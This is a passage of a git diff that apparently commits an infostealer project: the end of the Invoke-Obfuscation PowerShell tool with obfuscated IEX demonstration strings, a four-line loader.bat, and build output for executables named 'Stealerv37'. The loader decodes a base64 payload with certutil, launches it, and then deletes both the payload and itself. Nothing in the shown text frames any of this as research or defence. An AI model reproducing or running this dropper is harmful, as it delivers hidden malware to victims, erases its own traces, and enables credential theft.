If($PSBoundParameters['PrintWarning']) + { + Write-Host "`nWARNING: This command exceeds the cmd.exe maximum length of $CmdMaxLength." -ForegroundColor Red + Write-Host " Its length is" -NoNewLine -ForegroundColor Red + Write-Host " $($ScriptContents.Length)" -NoNewLine -ForegroundColor Yellow + Write-Host " characters." -ForegroundColor Red + } + } +} + + +Function Show-AsciiArt +{ +<# +.SYNOPSIS + +HELPER FUNCTION :: Displays random ASCII art for Invoke-Obfuscation. + +Invoke-Obfuscation Function: Show-AsciiArt +Author: Daniel Bohannon (@danielhbohannon) +License: Apache License, Version 2.0 +Required Dependencies: None +Optional Dependencies: None + +.DESCRIPTION + +Show-AsciiArt displays random ASCII art for Invoke-Obfuscation, and also displays ASCII art during script startup. + +.EXAMPLE + +C:\PS> Show-AsciiArt + +.NOTES + +Credit for ASCII art font generation: http://patorjk.com/software/taag/ +This is a personal project developed by Daniel Bohannon while an employee at MANDIANT, A FireEye Company. + +.LINK + +http://www.danielbohannon.com +#> + [CmdletBinding()] Param ( + [Parameter(Position = 0)] + [ValidateNotNullOrEmpty()] + [Switch] + $Random + ) + + # Create multiple ASCII art title banners. + $Spacing = "`t" + $InvokeObfuscationAscii = @() + $InvokeObfuscationAscii += $Spacing + ' ____ __ ' + $InvokeObfuscationAscii += $Spacing + ' / _/___ _ ______ / /_____ ' + $InvokeObfuscationAscii += $Spacing + ' / // __ \ | / / __ \/ //_/ _ \______ ' + $InvokeObfuscationAscii += $Spacing + ' _/ // / / / |/ / /_/ / ,< / __/_____/ ' + $InvokeObfuscationAscii += $Spacing + '/______ /__|_________/_/|_|\___/ __ _ ' + $InvokeObfuscationAscii += $Spacing + ' / __ \/ /_ / __/_ ________________ _/ /_(_)___ ____ ' + $InvokeObfuscationAscii += $Spacing + ' / / / / __ \/ /_/ / / / ___/ ___/ __ `/ __/ / __ \/ __ \' + $InvokeObfuscationAscii += $Spacing + '/ /_/ / /_/ / __/ /_/ (__ ) /__/ /_/ / /_/ / /_/ / / / /' + $InvokeObfuscationAscii += $Spacing + '\____/_.___/_/ \__,_/____/\___/\__,_/\__/_/\____/_/ /_/ ' + + # Ascii art to run only during script startup. + If(!$PSBoundParameters['Random']) + { + $ArrowAscii = @() + $ArrowAscii += ' | ' + $ArrowAscii += ' | ' + $ArrowAscii += ' \ / ' + $ArrowAscii += ' V ' + + # Show actual obfuscation example (generated with this tool) in reverse. + Write-Host "`nIEX( ( '36{78Q55@32t61_91{99@104X97{114Q91-32t93}32t93}32t34@110m111@105}115X115-101m114_112@120@69-45{101@107X111m118m110-73Q124Q32X41Q57@51-93Q114_97_104t67t91{44V39Q112_81t109@39}101{99@97}108{112}101}82_45m32_32X52{51Q93m114@97-104{67t91t44t39V98t103V48t39-101}99}97V108}112t101_82_45{32@41X39{41_112t81_109_39m43{39-110t101@112{81t39X43@39t109_43t112_81Q109t101X39Q43m39}114Q71_112{81m109m39@43X39V32Q40}32m39_43_39{114-111m108t111t67{100m110{117Q39_43m39-111-114Q103_101t114@39m43-39{111t70-45}32m41}98{103V48V110Q98t103{48@39{43{39-43{32t98m103_48{111@105t98@103V48-39@43{39_32-32V43V32}32t98t103@48X116m97V99t98X103t48_39V43m39@43-39X43Q39_98@103@48}115V117V102Q98V79m45@98m39Q43{39X103_39X43Q39V48}43-39}43t39}98-103{48V101_107Q39t43X39_111X118X110V39X43}39t98_103{48@43}32_98{103}48{73{98-39@43t39m103_39}43{39{48Q32t39X43X39-32{40V32t41{39Q43V39m98X103{39_43V39{48-116{115Q79{39_43_39}98}103m48{39Q43t39X32X43{32_98@103-39@43m39X48_72-39_43t39V45m39t43Q39_101Q98}103_48-32_39Q43V39V32t39V43}39m43Q32V98X39Q43_39@103_48V39@43Q39@116X73t82V119m98-39{43_39}103Q48X40_46_32m39}40_40{34t59m91@65V114V114@97_121}93Q58Q58V82Q101Q118Q101{114}115_101m40_36_78m55@32t41t32-59{32}73{69V88m32{40t36V78t55}45Q74m111@105-110m32X39V39-32}41'.SpLiT( '{_Q-@t}mXV' ) |ForEach-Object { ([Int]`$_ -AS [Char]) } ) -Join'' )" -ForegroundColor Cyan + Start-Sleep -Milliseconds 650 + ForEach($Line in $ArrowAscii) {Write-Host $Line -NoNewline; Write-Host $Line -NoNewline; Write-Host $Line -NoNewline; Write-Host $Line} + Start-Sleep -Milliseconds 100 + + Write-Host "`$N7 =[char[ ] ] `"noisserpxE-ekovnI| )93]rahC[,'pQm'ecalpeR- 43]rahC[,'bg0'ecalpeR- )')pQm'+'nepQ'+'m+pQme'+'rGpQm'+' ( '+'roloCdnu'+'orger'+'oF- )bg0nbg0'+'+ bg0oibg0'+' + bg0tacbg0'+'+'+'bg0sufbO-b'+'g'+'0+'+'bg0ek'+'ovn'+'bg0+ bg0Ib'+'g'+'0 '+' ( )'+'bg'+'0tsO'+'bg0'+' + bg'+'0H'+'-'+'ebg0 '+' '+'+ b'+'g0'+'tIRwb'+'g0(. '((`";[Array]::Reverse(`$N7 ) ; IEX (`$N7-Join '' )" -ForegroundColor Magenta + Start-Sleep -Milliseconds 650 + ForEach($Line in $ArrowAscii) {Write-Host $Line -NoNewline; Write-Host $Line -NoNewline; Write-Host $Line} + Start-Sleep -Milliseconds 100 + + Write-Host ".(`"wRIt`" + `"e-H`" + `"Ost`") ( `"I`" +`"nvoke`"+`"-Obfus`"+`"cat`" + `"io`" +`"n`") -ForegroundColor ( 'Gre'+'en')" -ForegroundColor Yellow + Start-Sleep -Milliseconds 650 + ForEach($Line in $ArrowAscii) {Write-Host $Line -NoNewline; Write-Host $Line} + Start-Sleep -Milliseconds 100 + + Write-Host "Write-Host `"Invoke-Obfuscation`" -ForegroundColor Green" -ForegroundColor White + Start-Sleep -Milliseconds 650 + ForEach($Line in $ArrowAscii) {Write-Host $Line} + Start-Sleep -Milliseconds 100 + + # Write out below string in interactive format. + Start-Sleep -Milliseconds 100 + ForEach($Char in [Char[]]'Invoke-Obfuscation') + { + Start-Sleep -Milliseconds (Get-Random -Input @(25..200)) + Write-Host $Char -NoNewline -ForegroundColor Green + } + + Start-Sleep -Milliseconds 900 + Write-Host "" + Start-Sleep -Milliseconds 300 + Write-Host + + # Display primary ASCII art title banner. + $RandomColor = (Get-Random -Input @('Green','Cyan','Yellow')) + ForEach($Line in $InvokeObfuscationAscii) + { + Write-Host $Line -ForegroundColor $RandomColor + } + } + Else + { + # ASCII option in Invoke-Obfuscation interactive console. + + } + + # Output tool banner after all ASCII art. + Write-Host "" + Write-Host "`tTool :: Invoke-Obfuscation" -ForegroundColor Magenta + Write-Host "`tAuthor :: Daniel Bohannon (DBO)" -ForegroundColor Magenta + Write-Host "`tTwitter :: @danielhbohannon" -ForegroundColor Magenta + Write-Host "`tBlog :: http://danielbohannon.com" -ForegroundColor Magenta + Write-Host "`tGithub :: https://github.com/danielbohannon/Invoke-Obfuscation" -ForegroundColor Magenta + Write-Host "`tVersion :: 1.8" -ForegroundColor Magenta + Write-Host "`tLicense :: Apache License, Version 2.0" -ForegroundColor Magenta + Write-Host "`tNotes :: If(!`$Caffeinated) {Exit}" -ForegroundColor Magenta +} diff --git a/loader.bat b/loader.bat new file mode 100644 index 0000000..51f78d6 --- /dev/null +++ b/loader.bat @@ -0,0 +1,4 @@ +certutil -decode payload.b64 payload.exe +start payload.exe +del payload.exe +del loader.bat diff --git a/obj/.DS_Store b/obj/.DS_Store new file mode 100644 index 0000000..225e8b3 Binary files /dev/null and b/obj/.DS_Store differ diff --git a/obj/Debug/._net462 b/obj/Debug/._net462 new file mode 100755 index 0000000..748a4d5 Binary files /dev/null and b/obj/Debug/._net462 differ diff --git a/obj/Debug/net462/.NETFramework,Version=v4.6.2.AssemblyAttributes.cs b/obj/Debug/net462/.NETFramework,Version=v4.6.2.AssemblyAttributes.cs new file mode 100644 index 0000000..2082c80 --- /dev/null +++ b/obj/Debug/net462/.NETFramework,Version=v4.6.2.AssemblyAttributes.cs @@ -0,0 +1,4 @@ +// +using System; +using System.Reflection; +[assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETFramework,Version=v4.6.2", FrameworkDisplayName = "")] diff --git a/obj/Debug/net462/._.NETFramework,Version=v4.6.2.AssemblyAttributes.cs b/obj/Debug/net462/._.NETFramework,Version=v4.6.2.AssemblyAttributes.cs new file mode 100644 index 0000000..748a4d5 Binary files /dev/null and b/obj/Debug/net462/._.NETFramework,Version=v4.6.2.AssemblyAttributes.cs differ diff --git a/obj/Debug/net462/._Stealerv37.exe.withSupportedRuntime.config b/obj/Debug/net462/._Stealerv37.exe.withSupportedRuntime.config new file mode 100644 index 0000000..748a4d5 Binary files /dev/null and b/obj/Debug/net462/._Stealerv37.exe.withSupportedRuntime.config differ diff --git a/obj/Debug/net462/._aoStealerv35_c6.GeneratedMSBuildEditorConfig.editorconfig b/obj/Debug/net462/._aoStealerv35_c6.GeneratedMSBuildEditorConfig.editorconfig new file mode 100644 index 0000000..748a4d5 Binary files /dev/null and b/obj/Debug/net462/._aoStealerv35_c6.GeneratedMSBuildEditorConfig.editorconfig differ diff --git a/obj/Debug/net462/._aoStealerv35_c6.csproj.AssemblyReference.cache b/obj/Debug/net462/._aoStealerv35_c6.csproj.AssemblyReference.cache new file mode 100644 index 0000000..748a4d5 Binary files /dev/null and b/obj/Debug/net462/._aoStealerv35_c6.csproj.AssemblyReference.cache differ diff --git a/obj/Debug/net462/Stealerv37.exe.withSupportedRuntime.config b/obj/Debug/net462/Stealerv37.exe.withSupportedRuntime.config new file mode 100644 index 0000000..ab21881 --- /dev/null +++ b/obj/Debug/net462/Stealerv37.exe.withSupportedRuntime.config @@ -0,0 +1,6 @@ + + + + + + \ No newline at end of file diff --git a/obj/Debug/net462/aoStealerv35_c6.GeneratedMSBuildEditorConfig.editorconfig b/obj/Debug/net462/aoStealerv35_c6.GeneratedMSBuildEditorConfig.editorconfig new file mode 100644 index 0000000..f56fb3d --- /dev/null +++ b/obj/Debug/net462/aoStealerv35_c6.GeneratedMSBuildEditorConfig.editorconfig @@ -0,0 +1,14 @@ +is_global = true +build_property.ApplicationManifest = app.manifest +build_property.StartupObject = +build_property.ApplicationDefaultFont = +build_property.ApplicationHighDpiMode = +build_property.ApplicationUseCompatibleTextRendering = +build_property.ApplicationVisualStyles = +build_property.RootNamespace = aoStealerv35_c6 +build_property.ProjectDir = C:\Users\www\Desktop\clowns\ +build_property.EnableComHosting = +build_property.EnableGeneratedComInterfaceComImportInterop = +build_property.CsWinRTUseWindowsUIXamlProjections = false +build_property.EffectiveAnalysisLevelStyle = +build_property.EnableCodeStyleSeverity = diff --git a/obj/Debug/net462/aoStealerv35_c6.assets.cache b/obj/Debug/net462/aoStealerv35_c6.assets.cache new file mode 100644 index 0000000..795fc92 Binary files /dev/null and b/obj/Debug/net462/aoStealerv35_c6.assets.cache differ diff --git a/obj/Debug/net462/aoStealerv35_c6.csproj.AssemblyReference.cache b/obj/Debug/net462/aoStealerv35_c6.csproj.AssemblyReference.cache new file mode 100644 index 0000000..34ef43c Binary files /dev/null and b/obj/Debug/net462/aoStealerv35_c6.csproj.AssemblyReference.cache differ diff --git a/obj/Release/.DS_Store b/obj/Release/.DS_Store new file mode 100644 index 0000000..09965cb Binary files /dev/null and b/obj/Release/.DS_Store differ diff --git a/obj/Release/.NETFramework,Version=v4.8.AssemblyAttributes.cs b/obj/Release/.NETFramework,Version=v4.8.AssemblyAttributes.cs new file mode 100644 index 0000000..3cf0af3 --- /dev/null +++ b/obj/Release/.NETFramework,Version=v4.8.AssemblyAttributes.cs @@ -0,0 +1,4 @@ +// +using System; +using System.Reflection; +[assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETFramework,Version=v4.8", FrameworkDisplayName = ".NET Framework 4.8")] diff --git a/obj/Release/._Stealerv37.exe b/obj/Release/._Stealerv37.exe new file mode 100644 index 0000000..748a4d5 Binary files /dev/null and b/obj/Release/._Stealerv37.exe differ diff --git a/obj/Release/._Stealerv37.exe.withSupportedRuntime.config b/obj/Release/._Stealerv37.exe.withSupportedRuntime.config new file mode 100644 index 0000000..748a4d5 Binary files /dev/null and b/obj/Release/._Stealerv37.exe.withSupportedRuntime.config differ diff --git a/obj/Release/._aoStealerv35_c6.GeneratedMSBuildEditorConfig.editorconfig b/obj/Release/._aoStealerv35_c6.GeneratedMSBuildEditorConfig.editorconfig new file mode 100644 index 0000000..748a4d5 Binary files /dev/null and b/obj/Release/._aoStealerv35_c6.GeneratedMSBuildEditorConfig.editorconfig differ diff --git a/obj/Release/._aoStealerv35_c6.csproj.AssemblyReference.cache b/obj/Release/._aoStealerv35_c6.csproj.AssemblyReference.cache new file mode 100644 index 0000000..748a4d5 Binary files /dev/null and b/obj/Release/._aoStealerv35_c6.csproj.AssemblyReference.cache differ diff --git a/obj/Release/._aoStealerv35_c6.csproj.CoreCompileInputs.cache b/obj/Release/._aoStealerv35_c6.csproj.CoreCompileInputs.cache new file mode 100644 index 0000000..748a4d5 Binary files /dev/null and b/obj/Release/._aoStealerv35_c6.csproj.CoreCompileInputs.cache differ diff --git a/obj/Release/._aoStealerv35_c6.csproj.FileListAbsolute.txt b/obj/Release/._aoStealerv35_c6.csproj.FileListAbsolute.txt new file mode 100644 index 0000000..748a4d5 Binary files /dev/null and b/obj/Release/._aoStealerv35_c6.csproj.FileListAbsolute.txt differ diff --git a/obj/Release/._net462 b/obj/Release/._net462 new file mode 100755 index 0000000..748a4d5 Binary files /dev/null and b/obj/Release/._net462 differ diff --git a/obj/Release/._net48 b/obj/Release/._net48 new file mode 100755 index 0000000..748a4d5 Binary files /dev/null and b/obj/Release/._net48 differ diff --git a/obj/Release/._net8.0-windows b/obj/Release/._net8.0-windows new file mode 100755 index 0000000..748a4d5 Binary files /dev/null and b/obj/Release/._net8.0-windows differ diff --git a/obj/Release/Stealerv37.exe b/obj/Release/Stealerv37.exe new file mode 100644 index 0000000..449ac88 Binary files /dev/null and b/obj/Release/Stealerv37.exe differ diff --git a/obj/Release/Stealerv37.exe.config b/obj/Release/Stealerv37.exe.config new file mode 100644 index 0000000..ef94b7c --- /dev/null +++ b/obj/Release/Stealerv37.exe.config @@ -0,0 +1,6 @@ + + + + + + \ No newline at end of file diff --git a/obj/Release/Stealerv37.exe.withSupportedRuntime.config b/obj/Release/Stealerv37.exe.withSupportedRuntime.config new file mode 100644 index 0000000..ef94b7c --- /dev/null +++ b/obj/Release/Stealerv37.exe.withSupportedRuntime.config @@ -0,0 +1,6 @@ + + + + + + \ No newline at end of file diff --git a/obj/Release/aoStealerv35_c6.GeneratedMSBuildEditorConfig.editorconfig b/obj/Release/aoStealerv35_c6.GeneratedMSBuildEditorConfig.editorconfig new file mode 100644 index 0000000..ce66c47 --- /dev/null +++ b/obj/Release/aoStealerv35_c6.GeneratedMSBuildEditorConfig.editorconfig @@ -0,0 +1,14 @@ +is_global = true +build_property.ApplicationManifest = app.manifest +build_property.StartupObject = +build_property.ApplicationDefaultFont = +build_property.ApplicationHighDpiMode = +build_property.ApplicationUseCompatibleTextRendering = +build_property.ApplicationVisualStyles = +build_property.RootNamespace = aoStealerv35_c6 +build_property.ProjectDir = C:\Users\000\Desktop\reinstall\clowns\ +build_property.EnableComHosting = +build_property.EnableGeneratedComInterfaceComImportInterop = +build_property.CsWinRTUseWindowsUIXamlProjections = false +build_property.EffectiveAnalysisLevelStyle = +build_property.EnableCodeStyleSeverity = diff --git a/obj/Release/aoStealerv35_c6.assets.cache b/obj/Release/aoStealerv35_c6.assets.cache new file mode 100644 index 0000000..ea4c4ec Binary files /dev/null and b/obj/Release/aoStealerv35_c6.assets.cache differ diff --git a/obj/Release/aoStealerv35_c6.csproj.AssemblyReference.cache b/obj/Release/aoStealerv35_c6.csproj.AssemblyReference.cache new file mode 100644 index 0000000..42c2d14 Binary files /dev/null and b/obj/Release/aoStealerv35_c6.csproj.AssemblyReference.cache differ diff --git a/obj/Release/aoStealerv35_c6.csproj.CoreCompileInputs.cache b/obj/Release/aoStealerv35_c6.csproj.CoreCompileInputs.cache new file mode 100644 index 0000000..d255948 --- /dev/null +++ b/obj/Release/aoStealerv35_c6.csproj.CoreCompileInputs.cache @@ -0,0 +1 @@ +8e8a23801666df8d344a90fe90197238117ccc19bfbe601c4ca4813903d14f7d diff --git a/obj/Release/aoStealerv35_c6.csproj.FileListAbsolute.txt b/obj/Release/aoStealerv35_c6.csproj.FileListAbsolute.txt new file mode 100644 index 0000000..57b871b --- /dev/null +++ b/obj/Release/aoStealerv35_c6.csproj.FileListAbsolute.txt @@ -0,0 +1,7 @@ +C:\Users\000\Desktop\reinstall\clowns\bin\Release\Stealerv37.exe.config +C:\Users\000\Desktop\reinstall\clowns\bin\Release\Stealerv37.exe +C:\Users\000\Desktop\reinstall\clowns\obj\Release\aoStealerv35_c6.csproj.AssemblyReference.cache +C:\Users\000\Desktop\reinstall\clowns\obj\Release\aoStealerv35_c6.GeneratedMSBuildEditorConfig.editorconfig +C:\Users\000\Desktop\reinstall\clowns\obj\Release\aoStealerv35_c6.csproj.CoreCompileInputs.cache +C:\Users\000\Desktop\reinstall\clowns\obj\Release\Stealerv37.exe +C:\Users\000\Desktop\reinstall\clowns\obj\Release\Stealerv37.exe.config diff --git a/obj/Release/net462/.NETFramework,Version=v4.6.2.AssemblyAttributes.cs b/obj/Release/net462/.NETFramework,Version=v4.6.2.AssemblyAttributes.cs new file mode 100644 index 0000000..2082c80 --- /dev/null +++ b/obj/Release/net462/.NETFramework,Version=v4.6.2.AssemblyAttributes.cs @@ -0,0 +1,4 @@ +// +using System; +using System.Reflection; +[assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETFramework,Version=v4.6.2", FrameworkDisplayName = "")] diff --git a/obj/Release/net462/._.NETFramework,Version=v4.6.2.AssemblyAttributes.cs b/obj/Release/net462/._.NETFramework,Version=v4.6.2.AssemblyAttributes.cs new file mode 100644 index 0000000..748a4d5 Binary files /dev/null and b/obj/Release/net462/._.NETFramework,Version=v4.6.2.AssemblyAttributes.cs differ diff --git a/obj/Release/net462/._Stealerv37.exe b/obj/Release/net462/._Stealerv37.exe new file mode 100644 index 0000000..748a4d5 Binary files /dev/null and b/obj/Release/net462/._Stealerv37.exe differ diff --git a/obj/Release/net462/._Stealerv37.exe.withSupportedRuntime.config b/obj/Release/net462/._Stealerv37.exe.withSupportedRuntime.config new file mode 100644 index 0000000..748a4d5 Binary files /dev/null and b/obj/Release/net462/._Stealerv37.exe.withSupportedRuntime.config differ diff --git a/obj/Release/net462/._Stealerv37.pdb b/obj/Release/net462/._Stealerv37.pdb new file mode 100644 index 0000000..748a4d5 Binary files /dev/null and b/obj/Release/net462/._Stealerv37.pdb differ diff --git a/obj/Release/net462/._aoStealerv35_c6.GeneratedMSBuildEditorConfig.editorconfig b/obj/Release/net462/._aoStealerv35_c6.GeneratedMSBuildEditorConfig.editorconfig new file mode 100644 index 0000000..748a4d5 Binary files /dev/null and b/obj/Release/net462/._aoStealerv35_c6.GeneratedMSBuildEditorConfig.editorconfig differ diff --git a/obj/Release/net462/._aoStealerv35_c6.csproj.AssemblyReference.cache b/obj/Release/net462/._aoStealerv35_c6.csproj.AssemblyReference.cache new file mode 100644 index 0000000..748a4d5 Binary files /dev/null and b/obj/Release/net462/._aoStealerv35_c6.csproj.AssemblyReference.cache differ diff --git a/obj/Release/net462/._aoStealerv35_c6.csproj.CoreCompileInputs.cache b/obj/Release/net462/._aoStealerv35_c6.csproj.CoreCompileInputs.cache new file mode 100644 index 0000000..748a4d5 Binary files /dev/null and b/obj/Release/net462/._aoStealerv35_c6.csproj.CoreCompileInputs.cache differ diff --git a/obj/Release/net462/._aoStealerv35_c6.csproj.FileListAbsolute.txt b/obj/Release/net462/._aoStealerv35_c6.csproj.FileListAbsolute.txt new file mode 100644 index 0000000..748a4d5 Binary files /dev/null and b/obj/Release/net462/._aoStealerv35_c6.csproj.FileListAbsolute.txt differ diff --git a/obj/Release/net462/Stealerv37.exe b/obj/Release/net462/Stealerv37.exe new file mode 100644 index 0000000..0cf5109 Binary files /dev/null and b/obj/Release/net462/Stealerv37.exe differ diff --git a/obj/Release/net462/Stealerv37.exe.withSupportedRuntime.config b/obj/Release/net462/Stealerv37.exe.withSupportedRuntime.config new file mode 100644 index 0000000..ab21881 --- /dev/null +++ b/obj/Release/net462/Stealerv37.exe.withSupportedRuntime.config @@ -0,0 +1,6 @@ + + + + + + \ No newline at end of file diff --git a/obj/Release/net462/Stealerv37.pdb b/obj/Release/net462/Stealerv37.pdb new file mode 100644 index 0000000..a464a42 Binary files /dev/null and b/obj/Release/net462/Stealerv37.pdb differ diff --git a/obj/Release/net462/aoStealerv35_c6.GeneratedMSBuildEditorConfig.editorconfig b/obj/Release/net462/aoStealerv35_c6.GeneratedMSBuildEditorConfig.editorconfig new file mode 100644 index 0000000..ce66c47 --- /dev/null +++ b/obj/Release/net462/aoStealerv35_c6.GeneratedMSBuildEditorConfig.editorconfig @@ -0,0 +1,14 @@ +is_global = true +build_property.ApplicationManifest = app.manifest +build_property.StartupObject = +build_property.ApplicationDefaultFont = +build_property.ApplicationHighDpiMode = +build_property.ApplicationUseCompatibleTextRendering = +build_property.ApplicationVisualStyles = +build_property.RootNamespace = aoStealerv35_c6 +build_property.ProjectDir = C:\Users\000\Desktop\reinstall\clowns\ +build_property.EnableComHosting = +build_property.EnableGeneratedComInterfaceComImportInterop = +build_property.CsWinRTUseWindowsUIXamlProjections = false +build_property.EffectiveAnalysisLevelStyle = +build_property.EnableCodeStyleSeverity = diff --git a/obj/Release/net462/aoStealerv35_c6.assets.cache b/obj/Release/net462/aoStealerv35_c6.assets.cache new file mode 100644 index 0000000..1415c4a Binary files /dev/null and b/obj/Release/net462/aoStealerv35_c6.assets.cache differ diff --git a/obj/Release/net462/aoStealerv35_c6.csproj.AssemblyReference.cache b/obj/Release/net462/aoStealerv35_c6.csproj.AssemblyReference.cache new file mode 100644 index 0000000..ddb2a26 Binary files /dev/null and b/obj/Release/net462/aoStealerv35_c6.csproj.AssemblyReference.cache differ diff --git a/obj/Release/net462/aoStealerv35_c6.csproj.CoreCompileInputs.cache b/obj/Release/net462/aoStealerv35_c6.csproj.CoreCompileInputs.cache new file mode 100644 index 0000000..3303f11 --- /dev/null +++ b/obj/Release/net462/aoStealerv35_c6.csproj.CoreCompileInputs.cache @@ -0,0 +1 @@ +8bee42691dbc53be42c887609adeed3ea7c49b5a3ea6b31fe80ee63025e5225e diff --git a/obj/Release/net462/aoStealerv35_c6.csproj.FileListAbsolute.txt b/obj/Release/net462/aoStealerv35_c6.csproj.FileListAbsolute.txt new file mode 100644 index 0000000..0a451e8 --- /dev/null +++ b/obj/Release/net462/aoStealerv35_c6.csproj.FileListAbsolute.txt @@ -0,0 +1,17 @@ +C:\Users\www\Documents\cvmegus\stealerv37\bin\Release\net462\Stealerv37.exe.config +C:\Users\www\Documents\cvmegus\stealerv37\bin\Release\net462\Stealerv37.exe +C:\Users\www\Documents\cvmegus\stealerv37\bin\Release\net462\Stealerv37.pdb +C:\Users\www\Documents\cvmegus\stealerv37\obj\Release\net462\aoStealerv35_c6.csproj.AssemblyReference.cache +C:\Users\www\Documents\cvmegus\stealerv37\obj\Release\net462\aoStealerv35_c6.GeneratedMSBuildEditorConfig.editorconfig +C:\Users\www\Documents\cvmegus\stealerv37\obj\Release\net462\aoStealerv35_c6.csproj.CoreCompileInputs.cache +C:\Users\www\Documents\cvmegus\stealerv37\obj\Release\net462\Stealerv37.exe +C:\Users\www\Documents\cvmegus\stealerv37\obj\Release\net462\Stealerv37.pdb +C:\Users\www\Documents\cvmegus\stealerv37\obj\Release\net462\Stealerv37.exe.config +C:\Users\www\Desktop\clowns\bin\Release\net462\Stealerv37.exe.config +C:\Users\www\Desktop\clowns\bin\Release\net462\Stealerv37.exe +C:\Users\www\Desktop\clowns\bin\Release\net462\Stealerv37.pdb +C:\Users\www\Desktop\clowns\obj\Release\net462\aoStealerv35_c6.csproj.AssemblyReference.cache +C:\Users\www\Desktop\clowns\obj\Release\net462\aoStealerv35_c6.GeneratedMSBuildEditorConfig.editorconfig +C:\Users\www\Desktop\clowns\obj\Release\net462\aoStealerv35_c6.csproj.CoreCompileInputs.cache +C:\Users\www\Desktop\clowns\obj\Release\net462\Stealerv37.exe +C:\Users\www\Desktop\clowns\obj\Release\net462\Stealerv37.pdb diff --git a/obj/Release/net472/.NETFramework,Version=v4.7.2.AssemblyAttributes.cs b/obj/Release/net472/.NETFramework,Version=v4.7.2.AssemblyAttributes.cs new file mode 100644 index 0000000..057ed7f --- /dev/null +++ b/obj/Release/net472/.NETFramework,Version=v4.7.2.AssemblyAttributes.cs @@ -0,0 +1,4 @@ +// +using System; +using System.Reflection; +[assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETFramework,Version=v4.7.2", FrameworkDisplayName = ".NET Framework 4.7.2")] diff --git a/obj/Release/net472/._Stealerv37.exe b/obj/Release/net472/._Stealerv37.exe new file mode 100644 index 0000000..748a4d5 Binary files /dev/null and b/obj/Release/net472/._Stealerv37.exe differ diff --git a/obj/Release/net472/._Stealerv37.exe.withSupportedRuntime.config b/obj/Release/net472/._Stealerv37.exe.withSupportedRuntime.config new file mode 100644 index 0000000..748a4d5 Binary files /dev/null and b/obj/Release/net472/._Stealerv37.exe.withSupportedRuntime.config differ diff --git a/obj/Release/net472/._Stealerv37.pdb b/obj/Release/net472/._Stealerv37.pdb new file mode 100644 index 0000000..748a4d5 Binary files /dev/null and b/obj/Release/net472/._Stealerv37.pdb differ diff --git a/obj/Release/net472/._aoStealerv35_c6.GeneratedMSBuildEditorConfig.editorconfig b/obj/Release/net472/._aoStealerv35_c6.GeneratedMSBuildEditorConfig.editorconfig new file mode 100644 index 0000000..748a4d5 Binary files /dev/null and b/obj/Release/net472/._aoStealerv35_c6.GeneratedMSBuildEditorConfig.editorconfig differ diff --git a/obj/Release/net472/._aoStealerv35_c6.csproj.AssemblyReference.cache b/obj/Release/net472/._aoStealerv35_c6.csproj.AssemblyReference.cache new file mode 100644 index 0000000..748a4d5 Binary files /dev/null and b/obj/Release/net472/._aoStealerv35_c6.csproj.AssemblyReference.cache differ diff --git a/obj/Release/net472/._aoStealerv35_c6.csproj.CoreCompileInputs.cache b/obj/Release/net472/._aoStealerv35_c6.csproj.CoreCompileInputs.cache new file mode 100644 index 0000000..748a4d5 Binary files /dev/null and b/obj/Release/net472/._aoStealerv35_c6.csproj.CoreCompileInputs.cache differ diff --git a/obj/Release/net472/._aoStealerv35_c6.csproj.FileListAbsolute.txt b/obj/Release/net472/._aoStealerv35_c6.csproj.FileListAbsolute.txt new file mode 100644 index 0000000..748a4d5 Binary files /dev/null and b/obj/Release/net472/._aoStealerv35_c6.csproj.FileListAbsolute.txt differ diff --git a/obj/Release/net472/Stealerv37.exe b/obj/Release/net472/Stealerv37.exe new file mode 100644 index 0000000..8814d77 Binary files /dev/null and b/obj/Release/net472/Stealerv37.exe differ diff --git a/obj/Release/net472/Stealerv37.exe.withSupportedRuntime.config b/obj/Release/net472/Stealerv37.exe.withSupportedRuntime.config new file mode 100644 index 0000000..dbd8e99 --- /dev/null +++ b/obj/Release/net472/Stealerv37.exe.withSupportedRuntime.config @@ -0,0 +1,6 @@ + + + + + + \ No newline at end of file diff --git a/obj/Release/net472/Stealerv37.pdb b/obj/Release/net472/Stealerv37.pdb new file mode 100644 index 0000000..fb52505 Binary files /dev/null and b/obj/Release/net472/Stealerv37.pdb differ diff --git a/obj/Release/net472/aoStealerv35_c6.GeneratedMSBuildEditorConfig.editorconfig b/obj/Release/net472/aoStealerv35_c6.GeneratedMSBuildEditorConfig.editorconfig new file mode 100644 index 0000000..ce66c47 --- /dev/null +++ b/obj/Release/net472/aoStealerv35_c6.GeneratedMSBuildEditorConfig.editorconfig @@ -0,0 +1,14 @@ +is_global = true +build_property.ApplicationManifest = app.manifest +build_property.StartupObject = +build_property.ApplicationDefaultFont = +build_property.ApplicationHighDpiMode = +build_property.ApplicationUseCompatibleTextRendering = +build_property.ApplicationVisualStyles = +build_property.RootNamespace = aoStealerv35_c6 +build_property.ProjectDir = C:\Users\000\Desktop\reinstall\clowns\ +build_property.EnableComHosting = +build_property.EnableGeneratedComInterfaceComImportInterop = +build_property.CsWinRTUseWindowsUIXamlProjections = false +build_property.EffectiveAnalysisLevelStyle = +build_property.EnableCodeStyleSeverity = diff --git a/obj/Release/net472/aoStealerv35_c6.assets.cache b/obj/Release/net472/aoStealerv35_c6.assets.cache new file mode 100644 index 0000000..4b720c6 Binary files /dev/null and b/obj/Release/net472/aoStealerv35_c6.assets.cache differ diff --git a/obj/Release/net472/aoStealerv35_c6.csproj.AssemblyReference.cache b/obj/Release/net472/aoStealerv35_c6.csproj.AssemblyReference.cache new file mode 100644 index 0000000..02a12fb Binary files /dev/null and b/obj/Release/net472/aoStealerv35_c6.csproj.AssemblyReference.cache differ diff --git a/obj/Release/net472/aoStealerv35_c6.csproj.CoreCompileInputs.cache b/obj/Release/net472/aoStealerv35_c6.csproj.CoreCompileInputs.cache new file mode 100644 index 0000000..1ddb5bc --- /dev/null +++ b/obj/Release/net472/aoStealerv35_c6.csproj.CoreCompileInputs.cache @@ -0,0 +1 @@ +93be21691573d11062e86359f5d1530364bab2fffc664123b330abb4cfd29f7e diff --git a/obj/Release/net472/aoStealerv35_c6.csproj.FileListAbsolute.txt b/obj/Release/net472/aoStealerv35_c6.csproj.FileListAbsolute.txt new file mode 100644 index 0000000..6decd6a --- /dev/null +++ b/obj/Release/net472/aoStealerv35_c6.csproj.FileListAbsolute.txt @@ -0,0 +1,8 @@ +C:\Users\000\Desktop\reinstall\clowns\bin\Release\net472\Stealerv37.exe.config 